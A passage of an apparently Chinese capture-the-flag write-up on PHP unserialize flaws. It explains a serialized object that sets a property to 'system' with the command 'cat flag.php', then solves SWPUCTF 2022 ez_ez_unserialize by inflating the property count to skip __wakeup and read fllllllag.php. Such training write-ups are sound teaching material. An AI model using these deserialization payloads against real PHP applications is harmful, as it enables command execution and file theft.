(解释:O:3:"lyh"表示对象类型,类名lyh;3表示3个属性;s:2:"lt";s:6:"system"将$lt设为system函数;s:3:"lly";s:11:"cat flag.php"将$lly设为命令cat flag.php。)
思路核心
我们可以通过构造一个恶意的序列化对象,将自定义的函数传递给 lt属性,然后将要执行的代码(或者指向一个恶意代码文件的路径)传递给lly 属性。当对象被序列化后再被反序列化时,__destruct 方法会被自动调用,从而执行指定的恶意操作。
只要传参把a变成system();this->lly变成ls或者cat就是一个简单的命令注入了
[SWPUCTF 2022 新生赛]ez_ez_unserialize
https://www.nssctf.cn/problem/3082题目来源
题目
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
尝试与解题
利用highlight_file读取文件,但存在__wakeup方法的限制
1. 类定义:X
- 属性:
public $x = __FILE__;
默认值为当前文件路径(__FILE__是PHP魔术常量,指向当前脚本路径)。 - 构造方法
__construct($x):
实例化时将传入的$x赋值给$this->x(可自定义$x的值)。 __wakeup方法:
function __wakeup()
{
if ($this->x !== __FILE__) { // 若$x不是当前文件路径
$this->x = __FILE__; // 强制重置为当前文件路径
}
}
反序列化时自动执行,限制$x的值必须为当前文件路径(阻止直接读取其他文件)。
- 析构方法
__destruct():
function __destruct()
{
highlight_file($this->x); // 高亮显示$x指向的文件内容
//flag is in fllllllag.php // 提示:flag在fllllllag.php中
}
实例销毁时自动执行,核心功能是读取并显示$x对应的文件内容(目标是读取fllllllag.php)。
2. 反序列化入口
if (isset($_REQUEST['x'])) { @unserialize($_REQUEST['x']); }
从GET/POST参数x中获取输入并反序列化。若x是X类的序列化字符串,会触发__wakeup和__destruct。
【$_REQUEST['x'] 是PHP中的超全局变量,用于获取用户通过GET、POST或COOKIE方式提交的名为x的参数值。】
问题
因为wake_up这个函数限制了这个路径,一旦不是所在路径,就会被强制更换,并且wake_up在__destruct()前面,所以要想办法绕过
解决办法
- 原理:当序列化字符串中属性数量大于实际类属性数量时,
__wakeup方法会被跳过。
所以只要将属性调大即可
如:本来应该是O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
改成O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
大于实际的1

更多推荐





所有评论(0)